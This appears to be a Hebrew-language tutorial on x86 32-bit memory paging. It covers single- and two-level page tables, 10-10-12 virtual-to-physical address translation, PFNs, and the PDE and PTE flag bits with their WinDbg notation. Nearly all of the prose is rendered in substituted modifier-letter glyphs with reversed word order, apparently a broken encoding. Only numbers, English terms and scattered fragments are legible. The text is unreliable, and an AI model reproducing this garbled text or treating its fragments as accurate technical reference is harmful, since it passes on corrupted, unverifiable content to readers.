Physical Address ,˨˩ ˫ˣ˷ˬ .( ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˭˧˟ ˢ˲ˬˬ ˶˷˞ ˫˧ˣ˯ˬ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ ˸ˣ˧ˢ˪ ˨˧˶˴

˟ ˫˧ˬ˧˧˵ˢ ˫˧ˮˣ˸ˮˢ ˧ˮ˟ˬ ˥ˣ˸˧˲˪ ˪˧˟ˣˢ ˶˷˞ ˨˧˪ˢ˸ˢ ˸˞ ˭˧˟ˢ˪ ˢ˯ˮˮ .˸ˣ˧ˤ˧˲˪-x86 ˟ˣ˷˥˷ ˢˡˣ˵ˮ .

 ˶ˣ˟˰ ˫˧ˬ˧˧˵ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ˷ ,˞˧ˢ ˶ˣ˩ˤˮ˷˪˩  ˣˬ˩ .˫ˢ ˫ˠ ˭ˣ˶˩˧ˤ ˣ˯˲˸˧ ˧˰˟˦ ˭˲ˣ˞˟ˣ ,˨˧˪ˢ˸

˪˩˷ ˭˧˧˴ˮ ,˭˩  ˪ˡˣˠ˟ ˞ˣˢ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬˬ ˡ˥˞ ˪˩˟ ˶˟˧˞4 .˫˧˸˟ 

 ˪˷ ˯˥˧˟ ,˸˧ˤ˧˲ ˸˟ˣ˸˩˪ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˪˩ ˭˧˟ ˢ˲ˬˬ ˶˷˞ ˢ˪˟˦ ˢ˧ˢ˧ ˶˸ˣ˧˟ ˧˟˧˞ˮˢ ˷ˣˬ˧ˬˢ˷ ˭˟ˣˬ˩

1:1 ˢ˶ˣ˶˟ ˞˧ˢ ˢˤˢ ˷ˣˬ˧ˬ˟ ˢ˧˰˟ˢ ˫ˠ .-  ˪˷ ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩ ˟˥˶ˬ ˨˧˪ˢ˸ ˪˩˪ ˵˲˯˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟

4GB ˵˦˧˩˶˞ ˪˰ ˫˧˶˟ˡˬ ˣˮ˞ ,˶ˣ˩ˤ˩) ˸˶ˣ˦32- ˪˷ ˧ˤ˧˲ ˪ˡˣˠ˟ ˧ˣ˲˧ˬ ˨˶˦˴ˮ ,(˦˧˟16GB )4  ˪ˣ˲˩ ˫˧˸˟

2^32  ˶ˣ˟˰ (˸ˣ˟ˣ˸˩˪˩  ˨˧˪ˢ˸- .˪˪˩˟ ˧˪˞˧˶ ˞˪ ˭ˣ˧˰˶ 

 ˫˧ˬ˧ˣ˯ˬ ˫˧˪ˡˠ˪ ˭ˣ˶˩˧ˤˢ ˸ˣ˞˴˵ˢ ˸˞ ˵˪˥˪ ˢ˧ˢ˧ ˣˮ˪˷ ˞˟ˢ ˟˪˷ˢ-  ˭ˣ˶˩˧ˤ ˪˷ ˢ˞˴˵ˢ ˶˷˲˞ˮ ˞˪ ˫˞

 ˥˧ˮˮ ,˸ˬ˧ˣ˯ˬ ˸ˣ˧˶˪ˣˮ˶ˠ ˪˷ ˢ˪˲˩ˬ ˞˪ ˞ˣˢ˷4KB )0x1000  ˫˧˸˟- ˢ˪ ˣ˞ ˡˣˬ˰ ˭˪Page ˨˶˦˴ˮ ˞˪ ,(

 ˪˷ ˸ˣ˪ˣ˲˩˪ ˸ˣ˶˷ˣ˧ˬ ˸ˣ˟ˣ˸˩ ˵˶ ˞˪˞ ,˸˧ˤ˧˲ ˸˟ˣ˸˩˪ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˪˩ ˸ˣ˲ˬ˪0x1000 ,ˢˬˠˣˡ˪ ˨˩ .

 ˭˧˟ ˢ˲ˬ˧ ˶˷˞ ˢˮ˟ˬ˟ ˶˟˧˞ ˣ˸ˣ˞VAs ˪-PAs  ˸˟ˣ˸˩ˢ ˶ˣ˟˰ ˭ˢ ˧ˣ˲˧ˬˢ ˸˞ ˵˲˯˧0x10547  ˶ˣ˟˰ ˭ˢˣ

 ˸˟ˣ˸˩ˢ0x109f0 -  ˨ˬ˯ ˪˰ ˧ˣ˲˧ˬˢ ˸˞ ˞˴ˬˮ20  ˯ˣ˲˧˞ˣ ˸˟ˣ˸˩ˢ ˪˷ ˫˧ˮˣ˧˪˰ˢ ˫˧˸˟ˢ12  ˫˧˸˟ˢ

 ˞˧ˢ ˣˮˠ˴ˢ˷ ˸ˣ˟ˣ˸˩ˢ ˧˸˷ ˶ˣ˟˰ ˪˟˵˸˸˷ ˸˟ˣ˸˩ˢ) ˫˧ˮˣ˸˥˸ˢ0x10000ˣ ,(-12  ˫˧ˮˣ˸˥˸ˢ ˫˧˸˟ˢ

 ˢ˸˰ˬ) ˣˮ˪˷ ˧ˣ˲˧ˬˢ ˸˪˟˦˟ ˫˞ ,ˢˬˠˣˡ˪ ˨˩ .˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˡˣˬ˰˟ ˦˯˧ˢ˩ ˣ˷ˬ˷˧- Page Table  ˣ˞PT ,(

˧ˤ˧˲ ˸˟ˣ˸˩˪ ˣˮ˪˷ ˡˣˬ˰ˢ ˸˞ ˢ˲ˬˬ ˶˷˞ ˶˟˧˞ˢ ˭˪ˢ˪) ˸Page Table Entry  ˣ˞PTE ˡˣˬ˰ˢ ˸˞ ˢ˲ˬ˧ (

 ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪0x5000ˢ ˤ˞ ,-PA  ˣ˧ˢ˧ ˢˬˠˣˡ˟ ˶˸ˣ˧ ˫ˡ˵ˣˬ ˣˮˠ˴ˢ˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˪˷0x5547 

-x0x59f0:˸˞ˤ ˫˧ˠˡˬ ˞˟ˢ ˶ˣ˧˞ˢ .ˢˬ˞˸ˢ˟ , 
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 "˵˶" ˨˶˦˴ˮ ,ˣˮ˰˴ˢ˷ ˭ˣ˶˸˲ˢ ˶ˣ˟˰0x100000 PTEs )4GB/4KB=1MB ˨˶˦˴ˮ ˶ˬˣ˪˩ ,(4MB  ˧ˣ˲˧ˬ ˪˷

ˢ ˸˞ ˞ˣ˴ˬ˪ ˣˮ˶˥˟ ˫ˢ˧˲ ˪˰ ˫˧˸˟ˢ ˶˲˯ˬ ,˟ˠ˞ .˨˧˪ˢ˸ ˪˩ ˶ˣ˟˰-PTE )20 ˧˸ˣ˶˧˶˷ ˭˲ˣ˞˟ ˣ˶˥˟ˮ ˞˪ (- 

2^20 ˢ ˶˲˯ˬ ˸˞ ˵ˣ˧ˡ˟ ˣˮ˪ ˵˧ˮ˰˧-PTEs .˨˶˦˴ˮ˷   ˫ˮˬˣ˞4MB  ,ˢ˪˧˥˸ ˢ˟˷˥ˬ˟ ˡ˥ˣ˧ˬ˟ ˞˶ˣˮ ˰ˬ˷ˮ ˞˪

˟ ˶˟ˣˡˬ˷ ˭˧˟ˢ˪ ˟ˣ˷˥ ˪˟˞-4MB  ˫˧˲ˣˬˬ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥˷ ,˨˧˪ˢ˸ ˪˩ ˶ˣ˟˰˧ˬ˸ˡ ˨˧˪ˢ˸ˢ ˪˰ˣ˲˟ ˫˞ ˫ˠ ,

.ˣ˸ˣ˷˶˟˷ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ ˪˩˟ ˷ˬ˸˷ˬ ˞˪ 

 ˧˪˷ ˸˩˶˰ˬ˟ ˫˧˴˶ ˢˤ ˰ˠ˶˪ ˭ˣ˩ˮ ,˰ˠ˶ˢ ˧˸˩˶˰˷ ˢ˵˧ˡ˟ˬ215 ) ˫˧˩˧˪ˢ˸Chrome  ˡ˟˩ˮ ˵˪˥˟ ˫˷˞

 (˟ˣ˷˥ ˞˪ ˢˤ ˪˟˞ ,˫ˢˬ-  ˫ˠ ˞˶˵ˮ˷ ,ˣˮ˰˴ˢ˷ ˭ˣ˶˸˲˟ ˷ˬ˸˷ˬ ˢ˧ˢ ˞ˣˢ ˫˞Single-Level Page Table 

ˮ˟ˬ ˵˶ ˷˧˷ ˭ˣˣ˧˩ˬ) "ˤ˟ˤ˟˪" ˨˧˶˴ ˢ˧ˢ ,(˧ˤ˧˲˪ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˫ˠ˶˸˪ ˸ˮˬ ˪˰ ˣ˟ ˫˧˶ˤ˰ˮ ˣˮ˞˷ ˡ˥˞ ˢ

860MB ˢˬ (!)-RAM  ˰˴˟˸˧˷ ˫˰˲ ˪˩˟ ,˭˩ ˣˬ˩ .˧ˣ˲˧ˬ ˧ˮ˟ˬ ˶ˣ˟˰ ˵˶Context-Switch ˸ˣ˲ˬ˪ ˨˶˦˴ˮ ,

 ˷ˡ˥ˬ4MB  ˪˷ ˸ˣˮˣ˧˰˶ˢ ˡ˥˞˷ ˣˮ˶ˬ˞˷˩ ˞˪ ˡ˥ˣ˧ˬ˟ ,˧˪˞˧˶ ˞˪ ˭˧˧ˡ˰ ˢˤ˷ ˭˟ˣˬ˩ .˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˪˷

.˸ˬ˞˟ ˢ˪ ˷˧ˠˮ˷ˬ ˭ˣ˶˩˧ˤ ˶˸ˣ˧ ˸˩˶˰ˬ˟ ˫˧˧˵˷ ˢ˷ˣ˥˸ ˶ˣ˴˧˪ ˞ˣˢ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ 

) "˸ˣ˧˵˧˸"˪ ˫˧ˡˣˬ˰ˢ ˸˞ ˵˪˥ˮ ˫˞ ˢˬDirectories ˵ˣ˧ˡ˟ ˣ˧ˢ˧ ˢ˧˧˵˧˸ ˪˩˟˷ ˨˩ ,(1024  ˷ˬ˸˷ˮˣ ,˫˧ˡˣˬ˰

-˟1024 ") ˪˩ˢ ˨˯˟ "˸ˣ˧˵˧˸4KB  ˪ˣ˲˩ ˡˣˬ˰˪1024  ˪ˣ˲˩ ,˫˧ˡˣˬ˰1024 ˪ ˪ˣ˵˷ ,˸ˣ˧˵˧˸-4GB  .(˫˧˲ˣˬˬ

) ˡ˥˞ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˵˶ ˸ˣ˲ˬ˪ ˨˶˦˴ˮ ,ˣˤˢ ˢ˶ˣ˴˟4KB ˞˶˵ˮ ˶˷˞ ,˸ˣ˧˵˧˸ˢ ˢˮ˟ˬ ˶ˣ˟˰ (Page Directory 

 ˣ˞)PT ˡˣ˰ˣ ,(4KB ˟ ˶˟˧˞ ˪˩) ˰ˠ˶˩ ˷ˣˬ˧˷˟ ˸ˣ˞˴ˬˮ˷ ˸ˣ˧˵˧˸ˢ ˶˲˯ˬ ˪ˣ˲˩-Page Directory  ˞˶˵ˮPage 

Directory Entry ˣ˞ ,PDE ˪˩ ,ˣˮ˰˴ˢ˷ ˢ˵ˣ˪˥ˢ ˭˲ˣ˞˟˷ ˭˟ˣˬ˩  .(PDE  ˡ˰ ˸ˣ˲ˬ˪ ˪ˣ˩˧4MB  ˭ˣ˶˩˧ˤ ˪˷

)Page Table  ˪˷ ˡ˥˞1024 PTEs.˧˸ˣ˰ˬ˷ˬ ˭˲ˣ˞˟ ˸ˬˡˣ˵ˢˬ ˶˸ˣ˧ ˸˧ˮˣ˩˯˥ ˸˞ˤˢ ˢ˵ˣ˪˥ˢ ˸˦˧˷ .( 

ˢ ˸˞ ˫ˠ˶˸ˮ ˣ˟˷ ˭˲ˣ˞ˢ ˸˞ ˢˮ˷ˮ ,ˣˤ ˢ˦˧˷ ˷ˬˬ˪ ˸ˮˬ ˪˰-VA  :ˢ˞˟ˢ ˢ˶ˣ˴˟12 ˧˸˟ˢ ˫˧ˮˣ˸˥˸ˢ ˫

 .˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˡˣˬ˰˟ ˦˯˧ˢ˩ ,˫ˡˣ˵ ˣˬ˩ ,ˣ˷ˬ˷˧10  ˢˮ˟ˬ˟ ˶˟˧˞ˢ ˸˞˧˴ˬ˪ ˣ˷ˬ˷˧ ˫˧˞˟ˢ ˫˧˸˟ˢ

ˣ ,˸ˣ˧˵˧˸ˢ-10 ˢ ˸˞˧˴ˬ˪ ˣ˷ˬ˷˧ ˫˧˞˟ˢ ˫˧˸˟ˢ-PTE ˪˩˷ ˣˬ˩ .PTE  ˣ˧˪˞ ˡˣˬ˰ ˪˷ ˸˧ˤ˧˲ ˸˟ˣ˸˩ ˪˧˩ˬ

 ˪˩ ˫ˠ ˨˩ ,˧˪˞ˣ˦˶˧ˣˢ ˡˣˬ˰ˢ ˢ˲ˣˬˬPDE ˢ ˟˷ˣ˧ ˣ˟ ˡˣˬ˰ ˪˷ ˸˧ˤ˧˲ ˸˟ˣ˸˩ ˪˧˩˧-Page Table  ˞˴ˬˮ ˣ˧˸˥˸

 ˣ˸ˣ˞˪ ˸˩˧˧˷ˢ ˫˧ˡˣˬ˰ˢ ˶ˣ˟˰ ˧ˣ˲˧ˬˢ ˰ˡ˧ˬDirectory. 
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 ˞ˣˢ ˣˮ˰˴ˢ˷ ˷ˡ˥ˢ ˭ˣ˶˸˲ˢ˵ˣ˧ˡ˟  ˰˴˟˸ˬ ˣ˟˷ ˭˲ˣ˞ˢPaging  ˸˶ˣ˦˵˦˧˩˶˞˟x86 ˶˷˞ ,˞˟ˢ ˶ˣ˧˞ˢ .

ˬ ˥ˣ˵˪-coresecurity.com:˪"ˮˢ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˸˥˸ ˸ˣ˟ˣ˸˩ˢ ˫ˣˠ˶˸ ˭˲ˣ˞ ˸˞ ˷˧˥ˬˬ , 

 

:˫ˣˠ˶˸ˢ ˭˲ˣ˞ ˸˞ ˶˧˟˯ˮ 

1. ˪ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˪˴˲ˮ ,ˢ˪˧˥˸-3  ˫˧˵˪˥- 10  ,˫˧ˮˣ˧˪˰ ˫˧˦˧˟10 ˣ ˫ˢ˧˶˥˞˷ ˫˧˦˧˟ˢ-12 

.˫˧ˮˣ˸˥˸ˢ ˫˧˦˧˟ˢ 

2.  ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ ˸˶˷˰ ˸˞ ˥˵˧ˮ- ˢ ˪˷ ˯˵ˡˮ˧˞˩ ˣ˷ˬ˷˧ ˫ˢ-PDE  ˸˟ˣ˸˩ˢ ˣ˧˪˞ ˡˣˬ˰ˢ ˟˷ˣ˧ ˣ˧˸˥˸

 ˪˩ ˪ˡˣˠ ,˶ˣˬ˞˩ .˸˩˧˧˷ ˣˮ˪˷PDE  ˞ˣˢ4  ˪˷ ˫˩˶˰ ˫˞ ˭˩˪ ,˫˧˸˟10 ˫˧˦˧˟ˢ  ˞ˣˢ ˫˧ˮˣ˧˪˰ˢ0x20 ˤ˞ ,

-sPDE  ˪˷ ˦˯˧ˢ˟ ˞˴ˬ˧ ˣˮ˪˷0x80 ˢ ˸˪˧˥˸ˬ ˫˧˸˟-PD. 

3. ˟-PDE ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ-Page Table .˧˦ˮˣˣ˪˶ˢ 

4.  ˫˧˞˟ˢ ˫˧˦˧˟ˢ ˸˶˷˰ ˸˞ ˥˵˧ˮ- ˢ ˪˷ ˯˵ˡˮ˧˞˩ ˣ˷ˬ˷˧ ˫ˢ-PTE ˟-Page Table ˟ ˣˮ˞˴ˬ˷-PDE .

 ˪˩ ˪ˡˣˠ ,˶ˣˬ˞˩PTE  ˞ˣˢ4  ˪˷ ˫˩˶˰ ˫˞ ˭˩˪ ,˫˧˸˟10  ˞ˣˢ ˣ˪˪ˢ ˫˧˦˧˟ˢ0x15ˢ ˤ˞ ,-PTE  ˣˮ˪˷

 ˪˷ ˦˯˧ˢ˟ ˞˴ˬ˧0x60 ˢ ˪˷ ˸˟ˣ˸˩ˢˬ ˫˧˸˟-Page Table ˢˬ ˣˮ˴˪˧˥˷-PDE. 

5. ˟-PTE  ˸˟ˣ˸˩ˢ ˸˩˧˧˷ ˣ˧˪˞ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˡˣˬ˰ ˢ˲ˣˬˬ ˣ˧˪˞ ˧ˤ˧˲ˢ ˡˣˬ˰ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞˴ˬˮ

.ˣˮ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ 

6. ˟ ˷ˬ˸˷ˮ-12 ˧˲ˢ ˭ˣ˶˩˧ˤˢ ˡˣˬ˰˟ ˦˯˧ˢ˩ ˫˧ˮˣ˸˥˸ˢ ˫˧˦˧˟ˢˢ ˞˧ˢ ˪˟˵˸˸˷ ˸˧˲ˣ˯ˢ ˸˟ˣ˸˩ˢ .˧ˤ-PA 

˪ ˢˬ˧˞˸ˬˢ-VA .˫ˠ˶˸˪ ˣˮ˧˴˶˷ 

 ˫ˢ˟ ˣˮ˷ˬ˸˷ˢ˷ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬˬ ˡ˥˞ ˪˩˪- Page Table x-Page Directory - ˫˧˞˶ˣ˵ Page Mapping 

Level (PML)  ˣ˞Page Table Level ˞˶˵ˮ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˸˞ ˪ˢˮ˪ ˸ˮˬ ˪˰ ˣˮˠ˴ˢ˷ ˭ˣ˶˸˲ˢ .Two-
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Level Page Table. ˟ ˢ˲ˣˬˬ ˫˧ˮ˟ˬˢˬ ˡ˥˞ ˪˩˷ ˟ˣ˷ ˶˧ˢ˟ˮ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˸ˮˬ ˪˰ ,

.˫˸ˣ˞ ˨ˣ˶˰˪ ˪˩ˣ˸ 

˪ ˢ˵ˣ˪˥ˢ ˰ˣˡˬ ˫˧ˢˣ˸˷ ˫˩ˬ ˣ˪˞ ˶ˣ˟˰-10-10-12 -  ˧ˣ˲˧ˬ ˢˮ˟ˬ ˪˩ ,ˣˤˢ ˢ˶ˣ˴˟˷ ˞˧ˢ ˢ˵ˣ˪˥˪ ˢ˟˧˯ˢ

)Page Table/Directory) ˡ˧˥˧ ˫˪˷ ˭ˣ˶˩˧ˤ ˡˣˬ˰ ˧˟ˠ ˪˰ ˢ˴˵ˣˬ (4KB˪ˣˢ˧ˮ ˪˰ ˪˵ˬ˷ ˢˬ ,(  ˫˧ˮ˟ˬˢ

.˫ˢ˟ ˷ˣˬ˧˷ˢˣ 

 ˪˩ ˪˧˩ˬ ˶˷˞ ˰ˡ˧ˬˢ ˸˞ ˵ˬˣ˰˪ ˶˸ˣ˧ ˶˞˸ˮ ,ˢˤ ˟˪˷˟PTE/PDE ˪˩ ,˶ˣˬ˞˩ .PTE/PDE  ˣ˧˲ ˪˰ ˰ˡ˧ˬ ˪˧˩ˬ

 ˰ˡ˧ˬˢ .˸˟ˣ˸˩ˢ ˫ˣˠ˶˸ ˨˧˪ˢ˸˟ ˫ˡ˵˸ˢ˪ ˸ˮˬ ˪˰ ˵˵ˡˤˮ ˢ˪ ˢ˞˟ˢ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ

 ˞˶˵ˮ ˢˤ ˰ˡ˧ˬ .˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤ˟ ˡˣˬ˰ ,˶ˣˬ˞˩ ,˞ˣˢ ˢˤˢPage Frame Number ˣ˞ ,PFN˟ ˞˴ˬˮ ˞ˣˢˣ ,-20 

˟ ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ-PTE/PDEˢ ˫˞ ,ˢˬˠˣˡ˪ ˨˩ .-PTE  ˞ˣˢ ˣˮ˪˷0x218EA025ˢ ˤ˞ ,-PFN  ˡˣˬ˰ˢ ˪˷

 ˞ˣˢ ˣˮ˪˷ ˰ˡ˧ˬˢ ˟˷ˣ˧ ˣ˟ ˧ˤ˧˲ˢ0x218EA ˞˧ˢ ˡˣˬ˰ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩ˢˣ ,0x218EA000. 

 ˪˩ ,ˢˤ ˰ˡ˧ˬ˪ ˶˟˰ˬPTE/PDE ˢ ˣ˧˪˞ ˡˣˬ˰ˢ ˸ˣˡˣ˞ ˱˯ˣˮ ˰ˡ˧ˬ ˪˧˩ˬ-PFN  ˭ˣ˶˩˧ˤˢ ˫˞ˢ ˣˬ˩ ,˯˥˧˧˸ˬ ˣ˪˷

 ˞ˣˢRead-Write  ˣ˞Read-Only) ˷ˬ˸˷ˬˢ ˞ˣˢ ˭ˣ˶˩˧ˤˢ ˪˷ ˫˧˪˰˟ˢ ˫˞ˢˣ ,Userˢ ˣ˞ (-Supervisor 

)Kernel) ˧˸˶ˬˣ˥ ˭ˣ˶˩˧ˤ ˞ˣˢ ˭ˣ˶˩˧ˤˢ ˫˞ˢ ,(Hardware Memory) ˧˸ˮ˩˸ ˭ˣ˶˩˧ˤ ˣ˞ (Software Memory ,

˟ ˞˴ˬˮ˷ ˭ˣ˶˩˧ˤ ˣˬ˩-Pagefile ˧˟ˠ ˪˰ ˫˧˯ˣ˥ˡ ˣ˪˪ˢ ˫˧˦˶˲ˢ ˪˩ .ˡˣ˰ˣ ,(12  ˪˩ ˪˷ ˫˧ˮˣ˸˥˸ˢ ˫˧˦˧˟ˢ

PDE/PTE. 

 ˪˩PDE  ˶˸˞ˢˬ ˥ˣ˵˪ ˫˧˷˶˸ˢ) ˨˩ ˢ˞˶ˮosdev.org:( 

 

:(˪˞ˬ˷˪ ˭ˬ˧ˬ) ˫˧˪ˠˡˢ ˸˞ ˢ˶˴˵˟ ˶ˣ˵˯ˮ 

1. P  ˣ˞Present  ˫ˠ ˞˶˵ˮ)Valid  ˣ˞V ˟-WinDbg (-  .˧ˤ˧˲ ˭ˣ˶˩˧ˤ˟ ˞˴ˬˮ ˭˩˞ ˡˣˬ˰ˢ ,˵˪ˣˡ ˦˧˟ˢ ˫˞

 ˦˧˟ˢˣ ˢˡ˧ˬ˟ ˵˶ˤ˧˧ .˧ˤ˧˲ ˭ˣ˶˩˧ˤ˟ ˞˴ˬˮ ˞˪ ˡˣˬ˰ˢ ,˵˪ˣˡ ˞˪Page Fault  ˪˲˦˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˰ˣ

 .˞˧ˢ˷ ˢ˶ˣ˴ ˪˩˟ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˞ ˷ˬ˷˪ ˫˧˪ˣ˩˧ ˢˮ˟ˬ˟ ˫˧˦˧˟ˢ ˶˞˷ ˪˩ ,˧ˣ˟˩ ˦˧˟ˢˣ ˢˡ˧ˬ˟ .ˣ˟

˟ ˞˴ˬˮ ˭ˣ˶˩˧ˤˢ ˶˷˞˩ ˞˧ˢ ˧ˣ˟˩ ˢ˧ˢ˧ ˦˧˟ˢ ˣ˟˷ ˟˴ˬ˪ ˢˬˠˣˡ-Pagefile .˵˯˧ˡ˟˷ 

2. R/W  ˣ˞Read/Write -  ˫˞ˢ ˶˷˞ ˡˣˬ˰ˢ ,˵˪ˣˡ ˦˧˟ˢ-PDE  ˡˣˬ˰ ˞ˣˢ ˣ˧˪˞ ˢˮ˲ˬRead/Write ,

 ˡˣˬ˰ ˞ˣˢ ˡˣˬ˰ˢ ˸˶˥˞Read-Only. 
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3. U  ˣ˞User/Supervisor  ˣ˞Owner -  ,˵˪ˣˡ ˦˧˟ˢ ˫˞ .˸ˣ˞˷˶ˢ ˨ˬ˯ ˪˰ ˡˣˬ˰˪ ˢ˷˧ˠ ˢ˦˧˪˷ ˶˷˲˞ˬ

˪ ˨˧˧˷ ˡˣˬ˰ˢ-User ˸˶˥˞ ,- ˪ ˨˧˧˷-Supervisor )Kernel ˣˬ˩ ˸ˣˮˠˢ .(SMEP  ˦˧˟ˢ ˪˰ ˸ˣ˯˯˟˸ˬ

˪ ˨˧˧˷ ˡˣˬ˰ ˫˞ ˸˰ˡ˪ ˸ˮˬ ˪˰ ˢˤˢ-User. 

4. Write Through  ˸ˣ˞ˢ ˧ˡ˧ ˪˰ ˠ˴ˣ˧ˬ)T ˟-WinDbg (-  ˤ˞ ,˵˪ˣˡ ˫˞Write-Through Caching  ˪˰˲ˣˬ

˟ ˫˧˷ˬ˸˷ˬ ,˸˶˥˞ .ˡˣˬ˰ˢ ˶ˣ˟˰-Write-Back.ˣ˪˪ˢ ˫˧˥ˮˣˬ˟ ˵ˬ˰˸ˮ ˞˪ . 

5. D  ˣ˞Cache Disabled  ˸ˣ˞ˢ ˧ˡ˧ ˪˰ ˠ˴ˣ˧ˬ)N ˟-WinDbg (-  ˞˪ ˶˟˧˞ˢ ˰˧˟˴ˬ ˣ˧˪˞ ˡˣˬ˰ˢ ,˵˪ˣˡ ˫˞

) ˭ˣˬ˦ˬ˟ ˶ˬ˷˧ˢ˪ ˪ˣ˩˧cache.( 

6. A  ˣ˞Accessed -  ˸˵˪ˡˢ ˪˰ ˧˞˶˥˞ ˡ˟˰ˬˢ .˶˟˧˞ˢ ˯˥˧˧˸ˬ ˣ˧˪˞ ˡˣˬ˰ˢˬ ˣ˟˸˩/ˣ˞˶˵ ˫˞ ˵˪ˣˡ

.(˨˶ˣ˴ˢ ˸ˡ˧ˬ˟) ˦˧˟ˢ ˧ˣ˵˧ˮ ˪˰ ˸˧˞˶˥˞ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˟˞ ,˦˧˟ˢ 

7.  ˞ˣˢ ˣ˩˶˰ˣ ,˶ˣˬ˷ ˦˧˟ ˞ˣˢ ˞˟ˢ ˦˧˟ˢ0. 

8. S  ˣ˞Page Size ) ˫ˠ ˞˶˵ˮLargePage ˸ˣ˞ˢ ˧ˡ˧ ˪˰ ˭ˬˣ˯ˬˣ ,L ˟-WinDbg  (˵˪ˣˡ ˞ˣˢˣ ˢˡ˧ˬ˟-  ˭˧˧˴ˬ

ˢ ˫˞ˢ-PDE ˢ ˞ˣˢ-Table Level ˢ˷ ,˶ˬˣ˪˩) ˭ˣ˶˥˞ˢ-PFN ˢ ˪˧˩ˬ˷-PDE  ˭ˣ˶˩˧ˤˢ ˡˣˬ˰ ˸˞ ˪ˬ˯ˬ

 ˟˷ˣ˧ ˣ˟ ˧ˤ˧˲ ˡˣˬ˰ ˞˪ˣ ,˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ ˢ˲ˣˬˬ ˣ˧˪˞ ˧˸˧ˬ˞ˢ ˧ˤ˧˲ˢPage Table ˪˷ ˸ˣ˰ˬ˷ˬˢ .(

˟ ˢˤˢ ˦˧˟ˢˢ ˸˶ˤ˰˟ ˢ˲ˣˬˬ ˶˷˞ ˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤˢ˷ ,˞˧ˢ ˵˪ˣˡ ˞ˣˢˣ ˢˡ˧ˬ-PDE  ˵˪ˣˡ ˦˧˟ˢ ˣ˟

) ˪ˣˡˠ ˡˣˬ˰ ˞ˣˢLarge Page ˣ˪ˡˣˠˣ ,(4MB ˣ˪ˡˣˠ˷ ,"˪˧ˠ˶" ˡˣˬ˰˟ ˶˟ˣˡˬ ,˧ˣ˟˩ ˦˧˟ˢˣ ˢˡ˧ˬ˟ .4KB. 

9. G  ˣ˞Global - ˟ ˸ˣ˰ˬ˷ˬ ˭˧˞ ˢˤ ˪ˠˡ˪-PDE. 

 ˪˩PTE ˪ ˡˣ˞ˬ ˢˬˣˡ-PDE˥ˣ˵˪ ˞˟ˢ ˫˧˷˶˸ˢ ˫ˠ) ˨˩ ˢ˞˶ˮˣ , ˬ-osdev.org:( 

 

˟ ˫˧˪ˠˡ˪ ˫˸ˣ˰ˬ˷ˬ˟ ˫˧ˢˤ ˫˧˪ˠˡˢ ˟ˣ˶-PDE:˫˧ˡˡˣ˟ ˫˧˧ˣˮ˧˷ ˫˰ , 

1. D  ˣ˞Dirty Bit -  "˨˪˩ˣ˪ˬ" ˡˣˬ˰ˢ˷ ˪ˬ˯ˬ ˞ˣˢ ,˵˪ˣˡ ˦˧˟ˢˣ ˢˡ˧ˬ˟-  ˪˧˩ˬ ˞ˣˢ˷ ˰ˡ˧ˬˢ˷ ,˶ˬˣ˪˩

.ˢˮˣ˷ 

2. ˢ ˪ˠˡ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-Page Size ˟ ˫˧˧˵ ˞˪-PTE.˯˲ˣ˞ˬˣ ˶ˣˬ˷ ˢˮ˟ˬ˟ ˣˬˣ˵ˬ˟ ˞˴ˬˮ˷ ˦˧˟ˢˣ , 
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3. G  ˣ˞Global - ˪ ˡˣˠ˧ˮ˟-PDE˟ ,-PTE ˢ˷ ˡˣˬ˰ˢ ,˵˪ˣˡ ˪ˠˡˢˣ ˢˡ˧ˬ˟ .˸ˣ˰ˬ˷ˬ ˷˧ ˭˩˞ ˢˤˢ ˪ˠˡ˪-

